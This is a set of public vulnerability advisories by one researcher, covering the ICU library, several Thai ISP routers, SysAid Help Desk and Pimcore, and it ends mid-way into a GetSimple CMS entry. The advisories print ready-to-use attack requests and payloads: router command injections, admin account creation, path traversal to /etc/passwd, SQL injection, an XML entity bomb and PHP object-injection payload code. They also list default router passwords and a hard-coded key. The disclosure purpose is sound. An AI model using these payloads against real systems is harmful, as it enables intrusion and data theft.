http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Heap overflow and integer overflow in ICU library (v52 to v54)
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 04/05/2015 / Last updated: 07/05/2015

>> Background on the affected products:
ICU is a mature, widely used set of C/C++ and Java libraries providing Unicode and Globalization support for software applications. ICU is widely portable and gives applications the same results on all platforms and between C/C++ and Java software.


>> Summary:
While fuzzing LibreOffice an integer overflow and a heap overflow were found in the ICU library. This library is used by LibreOffice and hundreds of other software packages.
Proof of concept files can be downloaded from [1]. These files have been tested with LibreOffice 4.3.3.2 and LibreOffice 4.4.0-beta2 and ICU 52.
Note that at this point in time it is unknown whether these vulnerabilities are exploitable.
Thanks to CERT [2] for helping disclose these vulnerabilities.


>> Technical details:
#1
Vulnerability: Heap overflow
CVE-2014-8146

The code to blame is the following (from ubidi.c:2148 in ICU 52):
    dirProp=dirProps[limit-1];
    if((dirProp==LRI || dirProp==RLI) && limit<pBiDi->length) {
        pBiDi->isolateCount++;
        pBiDi->isolates[pBiDi->isolateCount].stateImp=stateImp;
        pBiDi->isolates[pBiDi->isolateCount].state=levState.state;
        pBiDi->isolates[pBiDi->isolateCount].start1=start1;
    }
    else
        processPropertySeq(pBiDi, &levState, eor, limit, limit);

Under certain conditions isolateCount is incremented too many times, which results in several out of bounds writes. See [1] for a more detailed analysis.


#2
Vulnerability: Integer overflow
CVE-2014-8147

The overflow is on the resolveImplicitLevels function (ubidi.c:2248):
        pBiDi->isolates[pBiDi->isolateCount].state=levState.state;

pBiDi->isolates[].state is a int16, while levState.state is a int32.
The overflow causes an error when performing a malloc on pBiDi->insertPoints->points because insertPoints is adjacent in memory to isolates[].

The Isolate struct is defined in ubidiimp.h:184
typedef struct Isolate {
    int32_t startON;
    int32_t start1;
    int16_t stateImp;
    int16_t state;
} Isolate;

LevState is defined in ubidi.c:1748
typedef struct {
    const ImpTab * pImpTab;             /* level table pointer          */
    const ImpAct * pImpAct;             /* action map array             */
    int32_t startON;                    /* start of ON sequence         */
    int32_t startL2EN;                  /* start of level 2 sequence    */
    int32_t lastStrongRTL;              /* index of last found R or AL  */
    int32_t state;                      /* current state                */
    int32_t runStart;                   /* start position of the run    */
    UBiDiLevel runLevel;                /* run level before implicit solving */
} LevState;


>> Fix: 
All ICU releases between 52 and 54 are affected. Upgrade to ICU 55.1 to fix these vulnerabilities.
There are many other software packages which embed the ICU code and will need to be updated.
Patches that fix these vulnerabilities can be obtained from the ICU project in [3] and [4].


>> References:
[1] https://github.com/pedrib/PoC/raw/master/generic/i-c-u-fail.7z (EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43887.zip)
[2] https://www.kb.cert.org/vuls/id/602540
[3] http://bugs.icu-project.org/trac/changeset/37080
[4] http://bugs.icu-project.org/trac/changeset/37162


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Multiple vulnerabilities in TrueOnline / ZyXEL / Billion routers
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 26/12/2016 / Last updated: 18/01/2017


>> Summary:
TrueOnline is a major Internet Service Provider in Thailand which distributes various rebranded ZyXEL and Billion routers to its customers.
Three router models - ZyXEL P660HN-T1A v1, ZyXEL P660HN-T1A v2 and Billion 5200W-T - contain a number of default administrative accounts, as well as authenticated and unauthenticated command injection vulnerabilities (running as root) in their web interfaces, mostly in the syslog remote forwarding function. All the routers are still in widespread use in Thailand, with the Billion 5200W-T router currently being distributed to new customers. 

These routers are based on the TC3162U SoC (or variants of it), a system-on-a-chip made by TrendChip, which was a manufacturer of SoC that was acquired by Ralink / MediaTek in 2011.
TC3162U based routers have two firmware variants. 

The first variant is "ras", used on hardware versions that have 4mb or less of flash storage, which is based on the real time operating system ZynOS. It is infamous as the includes Allegro RomPager v4.07, which is vulnerable to the "misfortune cookie" attack (see [1]), and its web server is vulnerable to the "rom-0" attack (see [2]). 
The other variant is "tclinux", which is a full fledged Linux used in hardware versions that have more than 4 MB of flash storage. This advisory refers to this variant, which includes the Boa web server and several ASP files with the command injection vulnerabilities. Note that tclinux might also be vulnerable to the misfortune cookie and rom-0 attacks - this was not investigated in detail by the author. For more information on tclinux see [3].

It should be noted that tclinux contains files and configuration settings in other languages (for example in Turkish). Therefore it is likely that these firmware versions are not specific to TrueOnline, and other ISP customised routers in other countries might also be vulnerable. It is also possible that other brands and router models that use the tclinux variant are also affected by the command injection vulnerabilities (while the default accounts are likely to be TrueOnline specific). Please contact pedrib@gmail.com if you find any other routers or firmware versions that have the same vulnerabilities.

These vulnerabilities were discovered in July 2016 and reported through Securiteam's Secure Disclosure program (see https://blogs.securiteam.com/index.php/archives/2910 for their advisory). SSD contacted the vendors involved, but received no reply and posted their advisory on December 26th 2016. There is currently no fix for these issues. It is unknown whether these issues are exploitable over the WAN, although this is a possibility since some of the default accounts appear to have been deployed for ISP use.

Three Metasploit modules that abuse these vulnerabilities have been released (see [4], [5] and [6]).


>> Update (18/01/2017):
ZyXEL have responded to this advisory and published information about upcoming fixes for the 660HN v1 and v2 in http://www.zyxel.com/support/announcement_unauthenticated.shtml


>> Technical details:
#1 
Vulnerability: Unauthenticated command injection (ZyXEL P660HN-T1A v1)
NO-CVE - use FD:2017/Jan/40-1 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker in the LAN. See below for other constraints.
Affected versions:
- ZyXEL P660HN-T1A, hardware revision v1, TrueOnline firmware version 340ULM0b31, other firmware versions might be affected

This router has a command injection vulnerability in the Maintenance > Logs > System Log > Remote System Log forwarding function.
The vulnerability is in the ViewLog.asp page, which is accessible unauthenticated. The following request will cause the router to issue 3 ping requests to 10.0.99.102:

POST /cgi-bin/ViewLog.asp HTTP/1.1
remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bping+-c+3+10.0.99.102%3b%23&remoteSubmit=Save

The command in injection is in the remote_host parameter.
This vulnerability was found during a black box assessment of the web interface, so the injection path was not fully investigated. All commands run as root.


#2
Vulnerability: Authenticated command injection (ZyXEL P660HN-T1A v2)
NO-CVE - use FD:2017/Jan/40-2 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: Can be exploited by an authenticated attacker in the LAN. See below for other constraints.
Affected versions:
- ZyXEL P660HN-T1A, hardware revision v2, TrueOnline firmware version 200AAJS3D0, other firmware versions might be affected

Unlike in the P660HN-Tv1, the injection is authenticated and in the logSet.asp page. However, this router contains several default administrative accounts (see below) that can be used to exploit this vulnerability.
The injection is in the logSet.asp page that sets up remote forwarding of syslog logs, and the parameter vulnerable to command injection is the serverIP parameter.
The following request will cause the router to issue 3 ping requests to 1.1.1.1:

POST /cgi-bin/pages/maintenance/logSetting/logSet.asp HTTP/1.1
logSetting_H=1&active=1&logMode=LocalAndRemote&serverIP=192.168.1.1`ping -c 3 1.1.1.1`%26%23&serverPort=514

This vulnerability was found during a black box assessment of the web interface, so the injection path was not fully investigated. All commands run as root. 
It is known that this injection ends up in  /etc/syslog.conf as
ServerIP="192.168.1.1 `ping -c 3 1.1.1.1`&#"
Which will then be executed by a background process almost immediately.
The actual injection is limited to 28 characters. This can circunvented by writing a shell script file in the /tmp directory 28 characters at a time, and the executing that file.


#3
Vulnerability: Unauthenticated command injection (Billion 5200W-T)
NO-CVE - use FD:2017/Jan/40-3 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker in the LAN. See below for other constraints.
Affected versions:
- Billion 5200W-T, TrueOnline firmware version 1.02b.rc5.dt49, other firmware versions might be affected

The Billion 5200W-T router contains an unauthenticated command injection in adv_remotelog.asp page, which is used to set up remote syslog forwarding.
The following request will cause the router to issue 3 ping requests to 192.168.1.35:

POST /cgi-bin/adv_remotelog.asp HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

RemotelogEnable=1&syslogServerAddr=1.1.1.1%3bping+-c+3+192.168.1.35%3b&serverPort=514

The injection is on the syslogServerAddr parameter and can be exploited by entering a valid IP address, followed by  ";<COMMAND>;"
This vulnerability was found during a black box assessment of the web interface, so the injection path was not fully investigated. All commands run as root.


#4
Vulnerability: Authenticated command injection (Billion 5200W-T)
NO-CVE - use FD:2017/Jan/40-4 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: Can be exploited by an authenticated attacker in the LAN. See below for other constraints.
Affected versions:
- Billion 5200W-T, TrueOnline firmware version TCLinux Fw $7.3.8.0 v008 130603, other firmware versions might be affected

The Billion 5200W-T router also has several other command injections in its interface, depending on the firmware version, such as an authenticated command injection in tools_time.asp (uiViewSNTPServer parameter).
It should be noted that this router contains several default administrative accounts that can be used to exploit this vulnerability.
This injection can be exploited with the following request:

POST /cgi-bin/tools_time.asp HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Cookie: SESSIONID=7c082c75

SaveTime=1&uiCurrentTime2=&uiCurrentTime1=&ToolsTimeSetFlag=0&uiRadioValue=0&uiClearPCSyncFlag=0&uiwPCdateMonth=0&uiwPCdateDay=&uiwPCdateYear=&uiwPCdateHour=&uiwPCdateMinute=&uiwPCdateSec=&uiCurTime=N%2FA+%28NTP+server+is+connecting%29&uiTimezoneType=0&uiViewSyncWith=0&uiPCdateMonth=1&uiPCdateDay=&uiPCdateYear=&uiPCdateHour=&uiPCdateMinute=&uiPCdateSec=&uiViewdateToolsTZ=GMT%2B07%3A00&uiViewdateDS=Disable&uiViewSNTPServer="%3b+ping+-c+20+192.168.0.1+%26%23&ntp2ServerFlag=N%2FA&ntp3ServerFlag=N%2FA

This writes the command to a file /etc/ntp.sh:
/userfs/bin/ntpclient -s -c 3 -l -h ""; ping -c 20 192.168.0.1 &#" &
which is then executed almost immediately.

This vulnerability was found during a black box assessment of the web interface, so the injection path was not fully investigated. All commands run as root.


#5
Vulnerability: Default administrative credentials (ZyXEL P660HN-T1A v1)
NO-CVE - use FD:2017/Jan/40-5 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: N/A
Affected versions:
- ZyXEL P660HN-T1A, hardware revision v1, TrueOnline firmware version 340ULM0b31, other firmware versions might be affected

This router contains the following default administrative accounts:
username: admin; password: password
username: true; password: true


#6
Vulnerability: Default administrative credentials (ZyXEL P660HN-T1A v2)
NO-CVE - use FD:2017/Jan/40-6 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: N/A
Affected versions:
- ZyXEL P660HN-T1A, hardware revision v2, TrueOnline firmware version 200AAJS3D0, other firmware versions might be affected

This router contains the following default administrative accounts:
username: admin; password: password
username: true; password: true
username: supervisor; password: zyad1234


#7
Vulnerability: Default administrative credentials (Billion 5200W-T)
NO-CVE - use FD:2017/Jan/40-7 (Full Disclosure) or SSD-2910 (SecuriTeam blog)
Attack Vector: Remote
Constraints: N/A
Affected versions:
- Billion 5200W-T, TrueOnline firmware version TCLinux Fw $7.3.8.0 v008 130603, other firmware versions might be affected

This router contains the following default administrative accounts:
username: admin; password: password
username: true; password: true
username: user3; password: 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678


>> Fix:
There is NO FIX for this vulnerability. Do not allow untrusted clients to connect to these routers. Timeline of disclosure:
July 2016: Vulnerability reported to Securiteam Secure Disclosure
           Securiteam contacted the affected versions. No response.
           
26.12.2016: Vulnerability information published in the SSD blog (https://blogs.securiteam.com/index.php/archives/2910 for their advisory).
12.01.2017: Vulnerability information published in https://github.com/pedrib/PoC
18.01.2017: ZyXEL have responded to this advisory and published information about upcoming fixes for the 660HN v1 and v2 in http://www.zyxel.com/support/announcement_unauthenticated.shtml


>> References:
[1] http://www.kb.cert.org/vuls/id/561444
[2] https://k0st.wordpress.com/2015/07/05/identifying-and-exploiting-rom-0-vulnerabilities/
[3] https://vasvir.wordpress.com/tag/trendchip-firmware/
[4] https://github.com/rapid7/metasploit-framework/pull/7820
[5] https://github.com/rapid7/metasploit-framework/pull/7821
[6] https://github.com/rapid7/metasploit-framework/pull/7822


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Multiple vulnerabilities in SysAid Help Desk 14.4
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 03/06/2015 / Last updated: 10/06/2015

>> Background on the affected product:
"SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance."

Metasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon.
All vulnerabilities affect both the Windows and Linux versions unless otherwise noted.


>> Technical details:
1)
Vulnerability: Administrator account creation
CVE-2015-2993 (same CVE as #10)
Constraints: none; no authentication or any other information needed
Affected versions: unknown, at least 14.4

GET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123

This creates an account with the following credentials: mr_lit:secret
Note that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted.


2)
Vulnerability: File upload via directory traversal (authenticated; leading to remote code execution)
CVE-2015-2994
Constraints: valid administrator account needed (see #1 to create a valid admin account)
Affected versions: unknown, at least 14.4


POST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------81351919525780

-----------------------------81351919525780
Content-Disposition: form-data; name="activation"; filename="whatevs.jsp"
Content-Type: application/octet-stream

<html><body><%out.println(System.getProperty("os.name"));%></body><html>
-----------------------------81351919525780--


The response returns a page which contains the following:
        var imageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp?1422276751501";
        var thumbUrl = "icons/user_photo/14222767515000.1049804910604456_temp_thumb.jsp?1422276751501";
        if(imageUrl != null && $.trim(imageUrl).length > 0)
        {
            document.getElementById("cropbox").src = imageUrl;
            document.getElementById("preview").src = thumbUrl;
            parent.glSelectedImageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp";
            
Go to http://<server>/sysaid/icons/user_photo/14222767515000.1049804910604456_temp.jsp to execute the JSP.


3)
Vulnerability: File upload via directory traversal (unauthenticated; leading to remote code execution)
CVE-2015-2995
Constraints: no authentication or any other information needed. The server has to be running Java 7u25 or lower. This is because Java 7u40 (FINALLY!) rejects NULL bytes in file paths. See http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846 for more details.
Affected versions: unknown, at least 14.3 and 14.4

POST /sysaid/rdslogs?rdsName=../../../../sample.war%00
<... WAR payload here ...>


4)
Vulnerability: Arbitrary file download
CVE-2015-2996 (same CVE as #8)
Constraints: none; no authentication or any other information needed (see #5 to obtain the traversal path)
Affected versions: unknown, at least 14.4

GET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd


5)
Vulnerability: Path disclosure
CVE-2015-2997
Constraints: none; no authentication or any other information needed
Affected versions: unknown, at least 14.4; only works on the Linux version

POST /sysaid/getAgentLogFile?accountId=<traversal>&computerId=<junk characters>

Metasploit PoC:

    large_traversal = '../' * rand(15...30)
    servlet_path = 'getAgentLogFile'
    
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
      'method' => 'POST',
      'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
      'ctype' => 'application/octet-stream',
      'vars_get' => {
        'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
        'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
      }
    })
    
The response (res.body.to_s) will be similar to:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>Error</TITLE></HEAD>
<BODY>
<H1>Internal Error No#14</H1>
<H2>/var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../bla.war/111.war/1421678611732.zip (Permission denied)</H2>
</BODY></HTML>

The tomcat path is revealed between the H2 tags.


6)
Vulnerability: Use of hard-coded cryptographic key
CVE-2015-2998
Constraints: N/A
Affected versions: unknown, at least 14.4

SysAid Help Desk uses a hard-coded encryption key and encryption parameters. If this is combined with an arbitrary file download vulnerability (such as #4), a malicious user can then decrypt the database password by downloading the WEB-INF/conf/serverConf.xml file.
Algorithm: DES password based encryption with MD5 hash
Key: "inigomontoya"
Salt: [-87, -101, -56, 50, 86, 53, -29, 3]
Iterations: 19


7)
Vulnerability: SQL injection in genericreport, HelpDesk.jsp and RFCGantt.jsp
CVE-2015-2999
Constraints: valid administrator account needed
Affected versions: unknown, at least 14.4

a)
POST /sysaid/genericreport HTTP/1.1
action=execute&reportName=AssetDetails&scheduleReportParm=null&reportTitle=Asset+Details&company=0&filter=group&groupFilter='&assetID=&assetName=Click+Browse+to+choose&expressionCaption=&customExpression=&customSQL=&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+06%3A27&reRunEvery=2&user1=admin

action=execute&reportName=TopAdministratorsByAverageTimer&scheduleReportParm=null&reportTitle=Administrators+with+the+longest+SRs+time+%28average%29&sr_types=1&company=0&timer=1&expressionCaption=&customExpression=&customSQL=select+*+from+bla&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&NumRecords=5&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A03&reRunEvery=2&user1=admin&groupingSelection=Administrator&groupingSelectionName=Administrators&subGroupingSelection=AverageTimer&Activity=no

action=execute&reportName=ActiveRequests&scheduleReportParm=null&assetID=&reportTitle=Active+Records&category=000ALL&subcategory=000ALL&thirdLevelCategory=000ALL&sr_types=1&company=0&groupFilter=ALL&expressionCaption=&customExpression=&customSQL='&groupingSelection=Category&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A08&reRunEvery=2&user1=admin

Parameters:
groupFilter
customSQL

(3 sample payloads are shown - the reportName has to be valid and each reportName expects different parameters)


b)
POST /sysaid/HelpDesk.jsp?helpdeskfrm&fromId=List&ajaxStyleList=YE
resizeListViewDataArr=AccordionChange&fieldNameChangeState=&tabID=42&actionInfo=&builtFilter=&weightChangeNoAjax=&sort=r.id&dir=asc'&pageNo=1&showAll=0&toggleAll=0&isAccordion=0&calSearch=0&expandAll=0&action=&performAction=&${list.SrTypeFilter}hidden=&${list.category.caption}hidden=&${list.subCategory.caption}hidden=&${list.status.caption}hidden=&${list.requestUser.caption}hidden=&${list.assigned.to.caption}hidden=&${list.priority.caption}hidden=&selection=&selectionDisplay=&saveSelection=1&searchField=Search%20%20%20&dateType=&fromDate=&toDate=&ajaxShown=&multipleSelectionComboboxSet=SetMultipleSelectionCombobox&multipleSelectionComboboxStatus=&multipleSelectionComboboxPriority=&multipleSelectionComboboxAssignedTo=

Parameter:
dir


c)
POST /sysaid/RFCGantt.jsp HTTP/1.1
listName=Service+Requests+All&toInvalid=%27To+date%27+field+contains+an+invalid+value%21&fromInvalid=%27From+date%27+field+contains+an+invalid+value%21&listViewName=DEFAULT&ids=&flag=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&page=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&parentPageName=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&computerID=null&ciId=null&returnToFunction=&srType=&ganttSQL=$select+*+from+ble;$SELECT+r.id,+r.sr_type,+r.account_id,+priority,+escalation,+status,+r.request_user,r.due_date,r.title,r.problem_type,r.problem_sub_type,r.sr_type,r.sr_weight,r.responsibility,r.responsible_manager,r.assigned_group+,+r.id,+r.id,+r.sr_type,+r.problem_type,r.problem_sub_type,r.third_level_category,+r.problem_sub_type,+r.title,+r.status,+r.request_user,+r.responsibility,+r.priority,+r.insert_time+from+service_req+r+++WHERE+r.account_id+%3d+%3f&lookupListName=&scrollPopup=NO&iframeID=null&paneCancelFunc=&filter=+AND+%28archive+%3D+0%29+&fromDate=null&toDate=null&isWeight=true

Accepts injection between $$ in ganttSQL parameter.


8)
Vulnerability: Denial of service
CVE-2015-2996 (same CVE as #4)
Constraints: no authentication or any other information needed 
Affected versions: unknown, at least 14.4

GET /sysaid/calculateRdsFileChecksum?fileName=../../../../../../dev/zero

This request will cause the cpu to go to 100% and the memory to balloon for 30+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).


9)
Vulnerability: XML Entity Expansion (leading to denial of service)
CVE-2015-3000
Constraints: no authentication or any other information needed
Affected versions: unknown, at least 14.4

a)
POST /sysaid/agententry?deflate=0
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

b)
POST /sysaid/rdsmonitoringresponse
<lol bomb in POST data>

c)
POST /sysaid/androidactions
<lol bomb in POST data>

These requests will cause the cpu to go to 100% and the memory to baloon for 10+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).


10)
Vulnerability: Uncontrolled file overwrite
CVE-2015-2993 (same CVE as #1)
Constraints: no authentication or any other information needed
Affected versions: unknown, at least 14.4

GET /sysaid/userentry?accountId=1337&rdsName=bla&fileName=../../../service.htm

This will overwrite the file with "SysAid". This string is fixed and cannot be controlled by the attacker.


11)
Vulnerability: Use of hard-coded password for the SQL Server Express administrator account
CVE-2015-3001
Constraints: N/A
Affected versions: unknown, at least 14.4

When installing SysAid on Windows with the built in SQL Server Express, the installer sets the sa user password to "Password1".


>> Fix: 
Upgrade to version 15.2 or higher.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
> Vulnerabilities in Pimcore 1.4.9 to 2.1.0 (inclusive)
> Discovered by Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security
====================================================================
Disclosure: 14/04/2014 / Last updated: 12/10/2014

Vulnerability: Remote code execution in Pimcore CMS via unserialize() PHP object injection (CVE-2014-2921)
Vulnerability: Arbitrary file deletion in Pimcore CMS via unserialize() PHP object injection (CVE-2014-2922)
File(line): pimcore/lib/Pimcore/Tool/Newsletter.php(221)

Summary:
This vulnerability can be exploited by sending a base64 encoded payload as the "token" parameter to the newsletter unsubscribe page of the target site. Payload [1] abuses several Zend classes to achieve remote code execution (based on Stefan Esser's technique in [2] and Egidio Romano's exploit code from [3]). Payload [4] abuses Zend_Http_Response_Stream to delete a file in /tmp/deleteme and works in all PHP versions.

Versions affected:
1.4.9 to 1.4.10 (inclusive) / 2.0.0 (possibly): Remote code execution (when server is running PHP <= 5.3.3). 
1.4.9 to 2.1.0 (inclusive): Arbitrary file deletion (any PHP version), POSSIBLY remote code execution.
Version 2.2.0 or higher resolves this vulnerability.

Due to changes introduced in PHP 5.3.4 to reject file names with null bytes, payload [3] does not work on Pimcore versions between 2.0.1 and 2.1.0 as Pimcore enforces a PHP 5.4 requirement. Version 2.0.0 might be vulnerable if anyone is running it on PHP versions <= 5.3.3... which according to the developers is not possible, but the requirement was only enforced in 2.0.1.
Note that however the underlying vulnerability for both the remote code execution and the arbitrary file deletion is the same (unserialize() object injection), so it might be possible to execute code if any other Zend PHP POP chains are found in the future.


Fix for vulnerability:
https://github.com/pimcore/pimcore/commit/3cb2683e669b5644f180d362cfa9614c09bef280


Newsletter.php added to repository on February 25th 2013 (was released in 1.4.9 on 02/Mar/13):
https://github.com/pimcore/pimcore/commit/db18317af47de1de9f9ec6d83db1c2d353d06db7


PHP 5.4 requirement introduced on October 31st 2013 (was released in 2.0.1 on 20/Dec/13):
https://github.com/pimcore/pimcore/commit/ee56ac2c1f7c9dc6e1617023fc766ea9c67e601b


Code snippets:

pimcore/lib/Pimcore/Tool/Newsletter.php(221):

    public function getObjectByToken($token) {
        $data = unserialize(base64_decode($token));
        if($data) {
            if($object = Object_Abstract::getById($data["id"])) {

                if($version = $object->getLatestVersion()) {
                    $object = $version->getData();
                }


This function is called in the same file in confirm() and unsubscribeByToken():
    public function confirm($token) {

        $object = $this->getObjectByToken($token);
        if($object) {


    public function unsubscribeByToken ($token) {

        $object = $this->getObjectByToken($token);
        if($object) {


In the Pimcore Wiki[5] and sample site[6], users are shown how to use the token parameter and encourage you to take the sample code and modify it.
The sample code passes the token directly without any validation in confirmAction():
    public function confirmAction() {

        $this->enableLayout();

        $this->view->success = false;

        $newsletter = new Pimcore_Tool_Newsletter("person"); // replace "crm" with the class name you have used for your class above (mailing list)

        if($newsletter->confirm($this->getParam("token"))) {
            $this->view->success = true;
        }


And also in unsubscribeAction():
    public function unsubscribeAction() {

        $this->enableLayout();

        $newsletter = new Pimcore_Tool_Newsletter("person"); // replace "crm" with the class name you have used for your class above (mailing list)

        $unsubscribeMethod = null;
        $success = false;

        if($this->getParam("email")) {
            $unsubscribeMethod = "email";
            $success = $newsletter->unsubscribeByEmail($this->getParam("email"));
        }

        if($this->getParam("token")) {
            $unsubscribeMethod = "token";
            $success = $newsletter->unsubscribeByToken($this->getParam("token"));
        }


Mitigation:
Do not pass untrusted input into the unserialize function. Use JSON encoding / decoding instead of unserialize. This was introduced in commit 3cb2683e669 and released in version 2.2.0.

References:
========================================================
[1] Remote code execution, PHP <= 5.3.3, original code from [3] (Egidio Romano)
<?php

class Zend_Search_Lucene_Index_FieldInfo
{
    public $name = '<?php phpinfo(); die;?>';
}
 
class Zend_Search_Lucene_Storage_Directory_Filesystem
{
    protected $_dirPath = null;
     
    public function __construct($path)
    {
        $this->_dirPath = $path;
    }
}
 
interface Zend_Pdf_ElementFactory_Interface {}
 
class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
    protected $_docCount = 1;
    protected $_name = 'foo';
    protected $_directory;
    protected $_fields;
    protected $_files;
     
    public function __construct($directory, $fields)
    {
        $this->_directory = $directory;
        $this->_fields    = array($fields);
        $this->_files     = new stdClass;
    }
}    
 
class Zend_Pdf_ElementFactory_Proxy
{
    private $_factory;
     
    public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
    {
        $this->_factory = $factory;
    }
}
 
// This null byte technique only works in PHP <= 5.3.3
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem("/var/www/malicious.php\0");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);
 
echo base64_encode(serialize($____proxy));

?>

========================================================
[2] http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
[3] http://www.exploit-db.com/exploits/19573
========================================================
[4] Arbitrary file deletion, all PHP versions
<?php
class Zend_Http_Response_Stream 
{
    protected $stream;
    protected $stream_name;
    protected $_cleanup;
    public function setStream($stream)
    {
        $this->stream = $stream;
        return $this;
    }
    public function setCleanup($cleanup = true) {
        $this->_cleanup = $cleanup;
    }
    public function setStreamName($stream_name) {
        $this->stream_name = $stream_name;
        return $this;
    }
}
$resp = new Zend_Http_Response_Stream();
$resp->setStream(null);
$resp->setCleanup();
$resp->setStreamName("/tmp/deleteme");

echo base64_encode(serialize($resp));
?>

========================================================
[5] http://www.pimcore.org/wiki/display/PIMCORE/Newsletter
[6] Downloadable from the Pimcore website (https://www.pimcore.org/download/pimcore-data.zip). The file mentioned is website/controllers/NewsletterController.php.

Other references:
https://www.owasp.org/index.php/PHP_Object_Injection
http://www.alertlogic.com/writing-exploits-for-exotic-bug-classes/
http://vagosec.org/2013/12/wordpress-rce-exploit/


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1
CVE-2014-1603
by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
Disclosure: 12/05/2014 / Last updated: 12/10/2014

Timeline:
	04/11/2013 - Found bugs, produced proof of concept.
	05/11/2013 - Communicated to the developer, which acknowledged receipt.
	10/01/2014 - Politely asked the developer for progress, no response.
	17/01/2014 - Received CVE number from MITRE.
	20/01/2014 - Communicated CVE number to the developer, no response.
	29/01/2014 - Politely asked the developer for progress, no response.
	12/05/2014 - Public release.
==============================

Reflected XSS in plugin load page:
